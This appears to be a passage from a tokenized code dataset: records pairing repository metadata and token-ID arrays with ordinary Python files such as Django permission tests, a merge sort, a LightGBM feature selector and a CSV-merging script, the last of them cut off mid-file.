1272, 1839, 8216, 7464, 1653, 29918, 1429, 29918, 23813, 1839, 8216, 2033, 8443, 13, 4706, 1583, 29889, 9294, 5574, 29898, 5327, 29889, 1272, 1839, 1429, 29918, 4703, 2033, 8443, 13, 4706, 1583, 29889, 9294, 9843, 29898, 5327, 29889, 1272, 1839, 20348, 16215, 333, 7464, 1404, 29918, 333, 8443, 13, 30004, 13, 1678, 822, 1243, 29918, 20348, 29918, 974, 29918, 1429, 29918, 3068, 29918, 13653, 29918, 1429, 29898, 1311, 1125, 30004, 13, 4706, 4943, 29918, 1792, 353, 5196, 29889, 12650, 29889, 657, 29898, 20571, 29922, 29906, 8443, 13, 4706, 5096, 353, 10292, 29889, 3258, 29898, 15227, 29918, 1792, 29892, 3336, 13, 9651, 525, 978, 2396, 525, 1688, 5096, 29871, 29896, 23592, 13, 9651, 525, 8216, 2396, 525, 1688, 6139, 29871, 29896, 29915, 30004, 13, 4706, 5615, 30004, 13, 4706, 7274, 29889, 7507, 29898, 5269, 2433, 29966, 26862, 6227, 29958, 742, 4800, 2433, 5630, 1495, 30004, 13, 4706, 3142, 353, 11837, 877, 1429, 29879, 29899, 13653, 742, 6389, 7607, 29888, 29915, 29912, 1429, 29889, 333, 29913, 742, 876, 30004, 13, 4706, 2933, 353, 7274, 29889, 2490, 29898, 2271, 8443, 13, 30004, 13, 4706, 1583, 29889, 9294, 9843, 29898, 5327, 29889, 4882, 29918, 401, 29892, 29871, 29906, 29900, 29946, 8443, 13, 30004, 13, 1678, 822, 1243, 29918, 5464, 20348, 29918, 974, 29918, 1429, 29918, 29883, 6735, 29918, 13653, 29918, 1429, 29898, 1311, 1125, 30004, 13, 4706, 4943, 29918, 1792, 353, 5196, 29889, 12650, 29889, 657, 29898, 20571, 29922, 29906, 8443, 13, 4706, 5096, 353, 10292, 29889, 3258, 29898, 15227, 29918, 1792, 29892, 3336, 13, 9651, 525, 978, 2396, 525, 1688, 5096, 29871, 29896, 23592, 13, 9651, 525, 8216, 2396, 525, 1688, 6139, 29871, 29896, 29915, 30004, 13, 4706, 5615, 30004, 13, 4706, 7274, 29889, 7507, 29898, 5269, 2433, 29966, 26862, 6227, 29958, 742, 4800, 2433, 5630, 1495, 30004, 13, 4706, 3142, 353, 11837, 877, 1429, 29879, 29899, 13653, 742, 6389, 29922, 29888, 29915, 29912, 1429, 29889, 333, 29913, 1495, 30004, 13, 4706, 2933, 353, 7274, 29889, 2490, 29898, 2271, 8443, 13, 30004, 13, 4706, 1583, 29889, 9294, 9843, 29898, 5327, 29889, 4882, 29918, 401, 29892, 29871, 29946, 29900, 29941, 8443, 13, 30004, 13, 1678, 822, 1243, 29918, 1792, 29918, 3068, 29918, 5060, 487, 29918, 1429, 29898, 1311, 1125, 30004, 13, 4706, 4113, 29918, 1792, 353, 5196, 29889, 12650, 29889, 657, 29898, 20571, 29922, 29896, 8443, 13, 4706, 4943, 29918, 1792, 353, 5196, 29889, 12650, 29889, 657, 29898, 20571, 29922, 29906, 8443, 13, 4706, 5096, 353, 10292, 29889, 3258, 29898, 6406, 29918, 1792, 29892, 3336, 13, 9651, 525, 978, 2396, 525, 1688, 6232, 5096, 23592, 13, 9651, 525, 8216, 2396, 525, 1688, 6139, 29871, 29896, 29915, 30004, 13, 4706, 5615, 30004, 13, 4706, 5096, 29889, 4381, 29918, 2972, 29889, 1202, 29918, 1792, 29898, 15227, 29918, 1792, 8443, 13, 4706, 4943, 29918, 1792, 29889, 16593, 29918, 14592, 24691, 26471, 13, 30004, 13, 4706, 7274, 29889, 7507, 29898, 5269, 2433, 29966, 26862, 6227, 29958, 742, 4800, 2433, 5630, 1495, 30004, 13, 4706, 3142, 353, 11837, 877, 1429, 29879, 29899, 5060, 487, 742, 6389, 7607, 29888, 29915, 29912, 1429, 29889, 333, 29913, 742, 876, 30004, 13, 4706, 2933, 353, 7274, 29889, 2490, 29898, 2271, 8443, 13, 30004, 13, 4706, 1583, 29889, 9294, 9843, 29898, 5327, 29889, 4882, 29918, 401, 29892, 29871, 29906, 29900, 29900, 8443, 13, 30004, 13, 1678, 822, 1243, 29918, 6406, 29918, 3068, 29918, 8143, 29918, 1429, 29898, 1311, 1125, 30004, 13, 4706, 12569, 3377, 29918, 4841, 29918, 1454, 29918, 1429, 353, 1051, 29898, 29928, 1161, 3377, 29889, 12650, 29889, 4572, 29898, 1429, 29922, 1311, 29889, 1429, 467, 5975, 29918, 1761, 703, 333, 613, 12151, 29922, 5574, 876, 30004, 13, 4706, 5096, 29918, 4381, 29918, 2972, 29918, 333, 353, 1583, 29889, 1429, 29889, 4381, 29918, 2972, 29889, 333, 30004, 13, 4706, 7274, 29889, 7507, 29898, 5269, 2433, 29966, 26862, 6227, 29958, 742, 4800, 2433, 5630, 1495, 30004, 13, 4706, 3142, 353, 11837, 877, 6406, 29918, 1429, 29879, 29899, 16432, 742, 6389, 7607, 29888, 29915, 29912, 1311, 29889, 1429, 29889, 333, 29913, 742, 876, 30004, 13, 4706, 2933, 353, 7274, 29889, 8143, 29898, 2271, 8443, 13, 30004, 13, 4706, 1583, 29889, 9294, 9843, 29898, 5327, 29889, 4882, 29918, 401, 29892, 29871, 29906, 29900, 29946, 8443, 13, 30004, 13, 4706, 396, 1423, 393, 599, 12569, 24691, 6942, 411, 278, 5096, 526, 11132, 30004, 13, 4706, 1583, 29889, 9294, 8824, 29898, 29928, 1161, 3377, 29889, 12650, 29889, 4572, 29898, 1429, 29922, 1311, 29889, 1429, 467, 9933, 3101, 30004, 13, 4706, 396, 1423, 393, 599, 5354, 611, 27775, 363, 12569, 24691, 6942, 411, 278, 5096, 526, 11132, 30004, 13, 4706, 1583, 29889, 9294, 8824, 29898, 15951, 15845, 29889, 12650, 29889, 4572, 29898, 30004, 13, 9651, 4765, 29918, 333, 1649, 262, 29922, 14592, 3377, 29918, 4841, 29918, 1454, 29918, 1429, 11167, 13, 9651, 4765, 29918, 1853, 29922, 15845, 1542, 29889, 14592, 3377, 8443, 13, 4706, 1723, 30004, 13, 4706, 1583, 29889, 9294, 8824, 29898, 15951, 15845, 29889, 12650, 29889, 4572, 29898, 30004, 13, 9651, 2731, 29918, 333, 1649, 262, 29922, 14592, 3377, 29918, 4841, 29918, 1454, 29918, 1429, 11167, 13, 9651, 2731, 29918, 1853, 29922, 15845, 1542, 29889, 14592, 3377, 8443, 13, 4706, 1723, 30004, 13, 4706, 396, 1423, 393, 599, 5354, 611, 27775, 363, 11109, 29879, 9859, 304, 278, 5096, 526, 11132, 30004, 13, 4706, 1583, 29889, 9294, 8824, 29898, 15951, 15845, 29889, 12650, 29889, 4572, 29898, 4351, 29918, 333, 29922, 1429, 29918, 4381, 29918, 2972, 29918, 333, 29892, 4765, 29918, 1853, 29922, 15845, 1542, 29889, 2972, 876, 30004, 13, 30004, 13, 1678, 822, 1243, 29918, 5464, 6406, 29918, 3068, 29918, 8143, 29918, 1429, 29898, 1311, 1125, 30004, 13, 4706, 7274, 29889, 7507, 29898, 5269, 2433, 29966, 26862, 6227, 29958, 742, 4800, 2433, 5630, 1495, 30004, 13, 4706, 3142, 353, 11837, 877, 1429, 29879, 29899, 16432, 742, 6389, 7607, 29888, 29915, 29912, 1311, 29889, 1429, 29889, 333, 29913, 742, 876, 30004, 13, 4706, 337, 1713, 353, 7274, 29889, 8143, 29898, 2271, 8443, 13, 30004, 13, 4706, 1583, 29889, 9294, 8824, 29898, 29949, 29893, 29888, 4782, 15666, 1991, 29889, 12650, 29889, 4572, 29898, 30004, 13, 9651, 2318, 29922, 1311, 29889, 1429, 29889, 4381, 29918, 2972, 11167, 13, 9651, 2022, 29922, 1311, 29889, 15227, 29918, 1792, 467, 9933, 26471, 13, 4706, 1723, 30004, 13, 2 ]
MongoDB/Exercises/personal_finances/run.py
CaioCavalcanti/big-data-course
15
120989
<reponame>CaioCavalcanti/big-data-course from eve import Eve from personal_finances.auth import RolesAuth, add_token if __name__ == '__main__': app = Eve(auth=RolesAuth) app.on_insert_accounts += add_token app.run()
[ 1, 529, 276, 1112, 420, 29958, 26270, 601, 29907, 7712, 29883, 3656, 29914, 3752, 29899, 1272, 29899, 15775, 13, 3166, 321, 345, 1053, 382, 345, 13, 13, 3166, 7333, 29918, 4951, 2925, 29889, 5150, 1053, 390, 6544, 6444, 29892, 788, 29918, 6979, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 623, 353, 382, 345, 29898, 5150, 29922, 29934, 6544, 6444, 29897, 13, 1678, 623, 29889, 265, 29918, 7851, 29918, 10149, 29879, 4619, 788, 29918, 6979, 13, 1678, 623, 29889, 3389, 580, 2 ]
conjureup/ui/views/credentials.py
iMichka/conjure-up
1
16938
from ubuntui.utils import Padding from ubuntui.widgets.hr import HR from conjureup.app_config import app from conjureup.ui.views.base import BaseView, SchemaFormView from conjureup.ui.widgets.selectors import MenuSelectButtonList class NewCredentialView(SchemaFormView): title = "New Credential Creation" def __init__(self, *args, **kwargs): cloud_type = app.provider.cloud_type.upper() self.subtitle = "Enter your {} credentials".format(cloud_type) super().__init__(*args, **kwargs) class CredentialPickerView(BaseView): title = "Choose a Credential" subtitle = "Please select an existing credential, " \ "or choose to add a new one." footer = 'Please press [ENTER] on highlighted credential to proceed.' def __init__(self, credentials, default, submit_cb, back_cb): self.credentials = credentials self.default = default self.submit_cb = submit_cb self.prev_screen = back_cb super().__init__() def build_widget(self): widget = MenuSelectButtonList(self.credentials, self.default) widget.append(Padding.line_break("")) widget.append(HR()) widget.append_option("Add a new credential", None) return widget def submit(self): self.submit_cb(self.widget.selected)
[ 1, 515, 13069, 1657, 1481, 29889, 13239, 1053, 349, 4676, 13, 3166, 13069, 1657, 1481, 29889, 8030, 29879, 29889, 1092, 1053, 379, 29934, 13, 13, 3166, 9589, 545, 786, 29889, 932, 29918, 2917, 1053, 623, 13, 3166, 9589, 545, 786, 29889, 1481, 29889, 7406, 29889, 3188, 1053, 7399, 1043, 29892, 1102, 2603, 2500, 1043, 13, 3166, 9589, 545, 786, 29889, 1481, 29889, 8030, 29879, 29889, 2622, 943, 1053, 20019, 3549, 3125, 1293, 13, 13, 13, 1990, 1570, 15507, 2556, 1043, 29898, 12763, 2500, 1043, 1125, 13, 1678, 3611, 353, 376, 4373, 24596, 2556, 6760, 362, 29908, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 9570, 29918, 1853, 353, 623, 29889, 18121, 29889, 9274, 29918, 1853, 29889, 21064, 580, 13, 4706, 1583, 29889, 1491, 3257, 353, 376, 10399, 596, 6571, 16140, 1642, 4830, 29898, 9274, 29918, 1853, 29897, 13, 4706, 2428, 2141, 1649, 2344, 1649, 10456, 5085, 29892, 3579, 19290, 29897, 13, 13, 13, 1990, 24596, 2556, 13954, 1043, 29898, 5160, 1043, 1125, 13, 1678, 3611, 353, 376, 15954, 852, 263, 24596, 2556, 29908, 13, 1678, 1014, 3257, 353, 376, 12148, 1831, 385, 5923, 6625, 2556, 29892, 376, 320, 13, 1669, 376, 272, 6755, 304, 788, 263, 716, 697, 1213, 13, 1678, 24166, 353, 525, 12148, 3965, 518, 3919, 1001, 29962, 373, 12141, 287, 6625, 2556, 304, 8469, 6169, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 16140, 29892, 2322, 29892, 9752, 29918, 10702, 29892, 1250, 29918, 10702, 1125, 13, 4706, 1583, 29889, 11944, 9409, 353, 16140, 13, 4706, 1583, 29889, 4381, 353, 2322, 13, 4706, 1583, 29889, 7892, 29918, 10702, 353, 9752, 29918, 10702, 13, 4706, 1583, 29889, 16304, 29918, 10525, 353, 1250, 29918, 10702, 13, 4706, 2428, 2141, 1649, 2344, 1649, 580, 13, 13, 1678, 822, 2048, 29918, 8030, 29898, 1311, 1125, 13, 4706, 11109, 353, 20019, 3549, 3125, 1293, 29898, 1311, 29889, 11944, 9409, 29892, 1583, 29889, 4381, 29897, 13, 4706, 11109, 29889, 4397, 29898, 29925, 4676, 29889, 1220, 29918, 8690, 703, 5783, 13, 4706, 11109, 29889, 4397, 29898, 20938, 3101, 13, 4706, 11109, 29889, 4397, 29918, 3385, 703, 2528, 263, 716, 6625, 2556, 613, 6213, 29897, 13, 4706, 736, 11109, 13, 13, 1678, 822, 9752, 29898, 1311, 1125, 13, 4706, 1583, 29889, 7892, 29918, 10702, 29898, 1311, 29889, 8030, 29889, 8391, 29897, 13, 2 ]
001285StepikPythonLUC/Stepik001285pythonLUCсh06p02st02TASK01_append.py
SafonovMikhail/python_000577
0
59082
# lucky_numbers = [] # lucky_numbers.append(4) # assertEqual(lucky_numbers, __) # lucky_numbers.append(8) # assertEqual(lucky_numbers, __)
[ 1, 396, 9885, 29891, 29918, 20326, 353, 5159, 13, 29937, 9885, 29891, 29918, 20326, 29889, 4397, 29898, 29946, 29897, 13, 29937, 4974, 9843, 29898, 29880, 14395, 29918, 20326, 29892, 4770, 29897, 13, 29937, 9885, 29891, 29918, 20326, 29889, 4397, 29898, 29947, 29897, 13, 29937, 4974, 9843, 29898, 29880, 14395, 29918, 20326, 29892, 4770, 29897, 2 ]
tess/model/feature_selection.py
LithiumSR/tess
0
111616
import lightgbm as lgb from tess.utils import Utils class FeatureSelection: def __init__(self, data, threshold=1, force_base_entries=True): self.data = data self.threshold = threshold self.force_base_entries = force_base_entries def select(self): schema = Utils.get_available_feature_schema(self.data, force_base_entries=self.force_base_entries) X = [Utils.get_element_feature(schema, event.details, event.date) for event in self.data] Y = [Utils.get_target_function_value(self.data, event) for event in self.data] gbm = lgb.LGBMRegressor(boosting_type='gbdt', num_leaves=31, max_depth=-1, learning_rate=0.1, n_estimators=100, objective='regression') gbm.fit(X, Y) features = gbm.feature_importances_ for i in range(len(features)): if features[i] >= self.threshold: features[i] = True else: features[i] = False if self.force_base_entries: features[schema.index('__days_diff')] = True features[schema.index('__ref_number')] = True features[schema.index('__cvss_expl')] = True return Utils.get_filtered_schema(schema, features)
[ 1, 1053, 3578, 29887, 5838, 408, 301, 26300, 13, 13, 3166, 260, 404, 29889, 13239, 1053, 22310, 29879, 13, 13, 13, 1990, 5169, 1535, 15097, 29901, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 848, 29892, 16897, 29922, 29896, 29892, 4889, 29918, 3188, 29918, 26586, 29922, 5574, 1125, 13, 4706, 1583, 29889, 1272, 353, 848, 13, 4706, 1583, 29889, 386, 12268, 353, 16897, 13, 4706, 1583, 29889, 10118, 29918, 3188, 29918, 26586, 353, 4889, 29918, 3188, 29918, 26586, 13, 13, 1678, 822, 1831, 29898, 1311, 1125, 13, 4706, 10938, 353, 22310, 29879, 29889, 657, 29918, 16515, 29918, 14394, 29918, 11010, 29898, 1311, 29889, 1272, 29892, 4889, 29918, 3188, 29918, 26586, 29922, 1311, 29889, 10118, 29918, 3188, 29918, 26586, 29897, 13, 4706, 1060, 353, 518, 12177, 29889, 657, 29918, 5029, 29918, 14394, 29898, 11010, 29892, 1741, 29889, 14144, 29892, 1741, 29889, 1256, 29897, 363, 1741, 297, 1583, 29889, 1272, 29962, 13, 4706, 612, 353, 518, 12177, 29889, 657, 29918, 5182, 29918, 2220, 29918, 1767, 29898, 1311, 29889, 1272, 29892, 1741, 29897, 363, 1741, 297, 1583, 29889, 1272, 29962, 13, 4706, 330, 5838, 353, 301, 26300, 29889, 29931, 7210, 29924, 4597, 1253, 272, 29898, 17079, 292, 29918, 1853, 2433, 26300, 6008, 742, 954, 29918, 280, 5989, 29922, 29941, 29896, 29892, 4236, 29918, 19488, 10457, 29896, 29892, 6509, 29918, 10492, 29922, 29900, 29889, 29896, 29892, 13, 462, 18884, 302, 29918, 342, 326, 4097, 29922, 29896, 29900, 29900, 29892, 12091, 2433, 276, 11476, 1495, 13, 4706, 330, 5838, 29889, 9202, 29898, 29990, 29892, 612, 29897, 13, 4706, 5680, 353, 330, 5838, 29889, 14394, 29918, 5215, 2925, 29918, 13, 4706, 363, 474, 297, 3464, 29898, 2435, 29898, 22100, 22164, 13, 9651, 565, 5680, 29961, 29875, 29962, 6736, 1583, 29889, 386, 12268, 29901, 13, 18884, 5680, 29961, 29875, 29962, 353, 5852, 13, 9651, 1683, 29901, 13, 18884, 5680, 29961, 29875, 29962, 353, 7700, 13, 13, 4706, 565, 1583, 29889, 10118, 29918, 3188, 29918, 26586, 29901, 13, 9651, 5680, 29961, 11010, 29889, 2248, 877, 1649, 16700, 29918, 12765, 1495, 29962, 353, 5852, 13, 9651, 5680, 29961, 11010, 29889, 2248, 877, 1649, 999, 29918, 4537, 1495, 29962, 353, 5852, 13, 9651, 5680, 29961, 11010, 29889, 2248, 877, 1649, 11023, 893, 29918, 24516, 1495, 29962, 353, 5852, 13, 4706, 736, 22310, 29879, 29889, 657, 29918, 4572, 287, 29918, 11010, 29898, 11010, 29892, 5680, 29897, 13, 2 ]
python/merge_sort.py
shibli049/miscellaneous
1
49097
<gh_stars>1-10 def mergeSort(a, temp, leftStart, rightEnd): if(leftStart >= rightEnd): return middle = int((leftStart + rightEnd) / 2) mergeSort(a, temp, leftStart, middle) mergeSort(a, temp, middle + 1, rightEnd) merge(a, temp, leftStart, middle, rightEnd) return def merge(a, temp, leftStart, middle, rightEnd): left = leftStart right = middle + 1 index = leftStart while(left <= middle and right <= rightEnd): if(a[left] <= a[right]): temp[index] = a[left] left += 1 else: temp[index] = a[right] right += 1 index += 1 while left <= middle: temp[index] = a[left] left += 1 index += 1 while right <= rightEnd: temp[index] = a[right] right += 1 index += 1 a[leftStart:rightEnd+1] = temp[leftStart:rightEnd+1]
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 1753, 10366, 13685, 29898, 29874, 29892, 5694, 29892, 2175, 4763, 29892, 1492, 5044, 1125, 13, 1678, 565, 29898, 1563, 4763, 6736, 1492, 5044, 1125, 13, 4706, 736, 13, 1678, 7256, 353, 938, 3552, 1563, 4763, 718, 1492, 5044, 29897, 847, 29871, 29906, 29897, 13, 1678, 10366, 13685, 29898, 29874, 29892, 5694, 29892, 2175, 4763, 29892, 7256, 29897, 13, 1678, 10366, 13685, 29898, 29874, 29892, 5694, 29892, 7256, 718, 29871, 29896, 29892, 1492, 5044, 29897, 13, 1678, 10366, 29898, 29874, 29892, 5694, 29892, 2175, 4763, 29892, 7256, 29892, 1492, 5044, 29897, 13, 1678, 736, 13, 13, 13, 1753, 10366, 29898, 29874, 29892, 5694, 29892, 2175, 4763, 29892, 7256, 29892, 1492, 5044, 1125, 13, 1678, 2175, 353, 2175, 4763, 13, 1678, 1492, 353, 7256, 718, 29871, 29896, 13, 1678, 2380, 353, 2175, 4763, 13, 13, 1678, 1550, 29898, 1563, 5277, 7256, 322, 1492, 5277, 1492, 5044, 1125, 13, 4706, 565, 29898, 29874, 29961, 1563, 29962, 5277, 263, 29961, 1266, 29962, 1125, 13, 9651, 5694, 29961, 2248, 29962, 353, 263, 29961, 1563, 29962, 13, 9651, 2175, 4619, 29871, 29896, 13, 4706, 1683, 29901, 13, 9651, 5694, 29961, 2248, 29962, 353, 263, 29961, 1266, 29962, 13, 9651, 1492, 4619, 29871, 29896, 13, 4706, 2380, 4619, 29871, 29896, 13, 13, 1678, 1550, 2175, 5277, 7256, 29901, 13, 4706, 5694, 29961, 2248, 29962, 353, 263, 29961, 1563, 29962, 13, 4706, 2175, 4619, 29871, 29896, 13, 4706, 2380, 4619, 29871, 29896, 13, 13, 1678, 1550, 1492, 5277, 1492, 5044, 29901, 13, 4706, 5694, 29961, 2248, 29962, 353, 263, 29961, 1266, 29962, 13, 4706, 1492, 4619, 29871, 29896, 13, 4706, 2380, 4619, 29871, 29896, 13, 1678, 263, 29961, 1563, 4763, 29901, 1266, 5044, 29974, 29896, 29962, 353, 5694, 29961, 1563, 4763, 29901, 1266, 5044, 29974, 29896, 29962, 2 ]
setup.py
JosepSampe/swift-linking-middleware
0
81080
<reponame>JosepSampe/swift-linking-middleware<filename>setup.py from setuptools import setup, find_packages paste_factory = ['softlink = ' 'softlink:filter_factory'] setup(name='swift-softlink-middleware', version='0.1.0', description='Softlink middleware for OpenStack Swift', author='<NAME>', packages=find_packages(), requires=['swift(>=1.4)'], entry_points={'paste.filter_factory': paste_factory} )
[ 1, 529, 276, 1112, 420, 29958, 26473, 29886, 22966, 412, 29914, 26792, 29899, 2324, 292, 29899, 17662, 2519, 29966, 9507, 29958, 14669, 29889, 2272, 13, 3166, 731, 21245, 8789, 1053, 6230, 29892, 1284, 29918, 8318, 13, 13, 16179, 29918, 14399, 353, 6024, 2695, 2324, 353, 525, 13, 462, 525, 2695, 2324, 29901, 4572, 29918, 14399, 2033, 13, 13, 14669, 29898, 978, 2433, 26792, 29899, 2695, 2324, 29899, 17662, 2519, 742, 13, 418, 1873, 2433, 29900, 29889, 29896, 29889, 29900, 742, 13, 418, 6139, 2433, 6295, 615, 2324, 7256, 2519, 363, 4673, 7264, 14156, 742, 13, 418, 4148, 2433, 29966, 5813, 29958, 742, 13, 418, 9741, 29922, 2886, 29918, 8318, 3285, 13, 418, 6858, 29922, 1839, 26792, 29898, 18572, 29896, 29889, 29946, 29897, 7464, 13, 418, 6251, 29918, 9748, 3790, 29915, 16179, 29889, 4572, 29918, 14399, 2396, 11417, 29918, 14399, 29913, 13, 418, 1723, 13, 2 ]
combine-namedtuples.py
motoom/farasabina
0
123017
<filename>combine-namedtuples.py import glob import os import datetime import collections from pprint import pprint as pp import csv months = {"jan": 1, "feb": 2, "mar": 3, "apr": 4, "may": 5, "jun": 6, "jul": 7, "aug": 8, "sep": 9, "oct": 10, "nov": 11, "dec": 12} # Output files pre = csv.writer(open("pre.csv","wb")) post = csv.writer(open("post.csv","wb")) both = csv.writer(open("both.csv","wb")) fields = ("participant", "congruent", "targetcolor", "trial", "responsetime", "correct") pre.writerow(fields) post.writerow(fields) both.writerow(fields) def safecolname(name): """ Given a CSV column name, return a name safe for use as an attribute name. Guards against dots in column names, and empty column names. """ name = name.strip() if not name: name = "empty_" name = name.replace(".", "_") return name def saferow(row): """ Return a copy of the dict 'row' such that all keys can safely be used as attribute names. """ d = {} for key, val in row.iteritems(): safekey = safecolname(key) d[safekey] = val return d def process(participant, fn, output, trial): print "Processing", fn, participant, trial # Some CSV files use ',' as a delimiter, some use ';'. firstline = open(fn, "rbU").readline() delimiter = csv.Sniffer().sniff(firstline).delimiter rs = csv.DictReader(open(fn, "rbU"), delimiter=delimiter) safefieldnames = [safecolname(fieldname) for fieldname in rs.fieldnames] Row = collections.namedtuple("Row", safefieldnames) for r in rs: output.writerow((participant, r["congruent"], r["letterColor"], trial, r["resp.rt"], r["resp.corr"])) r = saferow(r) item = Row(**r) def inputfiles(): """ See what files we got, and extract the metadata from the filenames. Return a dict containing all the information, keyed on participant number. """ d = collections.defaultdict(list) # Mapping from participant number => [(pre-date, pre-filename), (post-date, post-filename)] for fn in glob.glob("*.csv"): basename, ext = os.path.splitext(fn) parts = basename.split("_") if len(parts) != 5: continue participant, year, monthname, day, _ = parts month = months[monthname.lower()] date = datetime.date(int(year), month, int(day)) participant = int(participant) d[participant].append((date, fn)) return d participants = inputfiles() # Make sure every participant has exactly two data files, sort the datafiles chronologically. for participant, datafiles in participants.iteritems(): if len(datafiles) != 2: raise Exception("Participant %d has %d data files, should be exactly 2." % (participant, len(datafiles))) datafiles.sort() # Process the datafiles of each participant. for participant, datafiles in participants.iteritems(): print "Participant", participant prefn, postfn = [filename for date, filename in datafiles] process(participant, prefn, pre, "pre") process(participant, postfn, post, "post")
[ 1, 529, 9507, 29958, 17743, 457, 29899, 17514, 9161, 2701, 29889, 2272, 13, 5215, 13149, 4706, 13, 5215, 2897, 13, 5215, 12865, 13, 5215, 16250, 13, 3166, 282, 2158, 1053, 282, 2158, 408, 6499, 13, 5215, 11799, 13, 13, 13, 10874, 29879, 353, 8853, 8931, 1115, 29871, 29896, 29892, 376, 29888, 774, 1115, 29871, 29906, 29892, 376, 3034, 1115, 29871, 29941, 29892, 376, 481, 29878, 1115, 29871, 29946, 29892, 376, 13029, 1115, 29871, 29945, 29892, 376, 29926, 348, 1115, 29871, 29953, 29892, 13, 1678, 376, 29926, 352, 1115, 29871, 29955, 29892, 376, 2987, 1115, 29871, 29947, 29892, 376, 19570, 1115, 29871, 29929, 29892, 376, 20082, 1115, 29871, 29896, 29900, 29892, 376, 13715, 1115, 29871, 29896, 29896, 29892, 376, 7099, 1115, 29871, 29896, 29906, 29913, 13, 13, 13, 29937, 10604, 2066, 13, 1457, 353, 11799, 29889, 13236, 29898, 3150, 703, 1457, 29889, 7638, 3284, 29893, 29890, 5783, 13, 2490, 353, 11799, 29889, 13236, 29898, 3150, 703, 2490, 29889, 7638, 3284, 29893, 29890, 5783, 13, 20313, 353, 11799, 29889, 13236, 29898, 3150, 703, 20313, 29889, 7638, 3284, 29893, 29890, 5783, 13, 795, 13, 9621, 353, 4852, 1595, 12654, 424, 613, 376, 535, 7108, 296, 613, 376, 5182, 2780, 613, 376, 3626, 284, 613, 376, 26679, 5410, 613, 376, 15728, 1159, 13, 1457, 29889, 13236, 340, 29898, 9621, 29897, 13, 2490, 29889, 13236, 340, 29898, 9621, 29897, 13, 20313, 29889, 13236, 340, 29898, 9621, 29897, 13, 13, 13, 1753, 9437, 687, 324, 978, 29898, 978, 1125, 13, 1678, 9995, 11221, 263, 16874, 1897, 1024, 29892, 736, 263, 1024, 9109, 363, 671, 408, 385, 5352, 1024, 29889, 29871, 13, 4706, 2088, 3163, 2750, 270, 1862, 297, 1897, 2983, 29892, 322, 4069, 1897, 2983, 29889, 9995, 13, 1678, 1024, 353, 1024, 29889, 17010, 580, 13, 1678, 565, 451, 1024, 29901, 13, 4706, 1024, 353, 376, 6310, 27508, 13, 1678, 1024, 353, 1024, 29889, 6506, 17350, 613, 11119, 1159, 13, 1678, 736, 1024, 13, 308, 13, 3986, 13, 1753, 872, 571, 340, 29898, 798, 1125, 13, 1678, 9995, 7106, 263, 3509, 310, 278, 9657, 525, 798, 29915, 1316, 393, 599, 6611, 508, 23511, 367, 1304, 13, 4706, 408, 5352, 2983, 29889, 9995, 13, 1678, 270, 353, 6571, 13, 1678, 363, 1820, 29892, 659, 297, 1948, 29889, 1524, 7076, 7295, 13, 4706, 9109, 1989, 353, 9437, 687, 324, 978, 29898, 1989, 29897, 13, 4706, 270, 29961, 11177, 1989, 29962, 353, 659, 13, 1678, 736, 270, 13, 13, 13, 1753, 1889, 29898, 1595, 12654, 424, 29892, 7876, 29892, 1962, 29892, 14260, 1125, 13, 1678, 1596, 376, 7032, 292, 613, 7876, 29892, 5221, 424, 29892, 14260, 13, 13, 1678, 396, 3834, 16874, 2066, 671, 525, 5501, 408, 263, 28552, 29892, 777, 671, 21921, 4286, 13, 1678, 937, 1220, 353, 1722, 29898, 9144, 29892, 376, 6050, 29965, 2564, 949, 1220, 580, 13, 1678, 28552, 353, 11799, 29889, 29903, 29876, 8349, 2141, 16586, 2593, 29898, 4102, 1220, 467, 6144, 19657, 13, 268, 13, 1678, 20371, 353, 11799, 29889, 21533, 6982, 29898, 3150, 29898, 9144, 29892, 376, 6050, 29965, 4968, 28552, 29922, 6144, 19657, 29897, 13, 1678, 9437, 1389, 969, 7039, 353, 518, 29879, 2142, 687, 324, 978, 29898, 2671, 978, 29897, 363, 1746, 978, 297, 20371, 29889, 2671, 7039, 29962, 13, 1678, 11438, 353, 16250, 29889, 17514, 23583, 703, 4301, 613, 9437, 1389, 969, 7039, 29897, 13, 1678, 363, 364, 297, 20371, 29901, 13, 4706, 1962, 29889, 13236, 340, 3552, 1595, 12654, 424, 29892, 364, 3366, 535, 7108, 296, 12436, 364, 3366, 15670, 3306, 12436, 14260, 29892, 364, 3366, 13713, 29889, 2273, 12436, 364, 3366, 13713, 29889, 29725, 3108, 876, 13, 4706, 364, 353, 872, 571, 340, 29898, 29878, 29897, 13, 4706, 2944, 353, 11438, 29898, 1068, 29878, 29897, 13, 13, 13, 1753, 1881, 5325, 7295, 13, 1678, 9995, 2823, 825, 2066, 591, 2355, 29892, 322, 6597, 278, 15562, 515, 278, 977, 264, 1280, 29889, 13, 4706, 7106, 263, 9657, 6943, 599, 278, 2472, 29892, 1820, 287, 373, 5221, 424, 1353, 29889, 9995, 13, 1678, 270, 353, 16250, 29889, 4381, 8977, 29898, 1761, 29897, 396, 341, 20304, 515, 5221, 424, 1353, 1149, 17288, 1457, 29899, 1256, 29892, 758, 29899, 9507, 511, 313, 2490, 29899, 1256, 29892, 1400, 29899, 9507, 4638, 13, 1678, 363, 7876, 297, 13149, 29889, 23705, 703, 10521, 7638, 29908, 1125, 13, 4706, 2362, 3871, 29892, 1294, 353, 2897, 29889, 2084, 29889, 23579, 568, 486, 29898, 9144, 29897, 13, 4706, 5633, 353, 2362, 3871, 29889, 5451, 703, 29918, 1159, 13, 4706, 565, 7431, 29898, 20895, 29897, 2804, 29871, 29945, 29901, 13, 9651, 6773, 13, 4706, 5221, 424, 29892, 1629, 29892, 4098, 978, 29892, 2462, 29892, 903, 353, 5633, 13, 4706, 4098, 353, 7378, 29961, 10874, 978, 29889, 13609, 580, 29962, 13, 4706, 2635, 353, 12865, 29889, 1256, 29898, 524, 29898, 6360, 511, 4098, 29892, 938, 29898, 3250, 876, 13, 4706, 5221, 424, 353, 938, 29898, 1595, 12654, 424, 29897, 13, 4706, 270, 29961, 1595, 12654, 424, 1822, 4397, 3552, 1256, 29892, 7876, 876, 13, 1678, 736, 270, 13, 13, 13, 1595, 12654, 1934, 353, 1881, 5325, 580, 13, 13, 29937, 8561, 1854, 1432, 5221, 424, 756, 3721, 1023, 848, 2066, 29892, 2656, 278, 848, 5325, 17168, 1189, 1711, 29889, 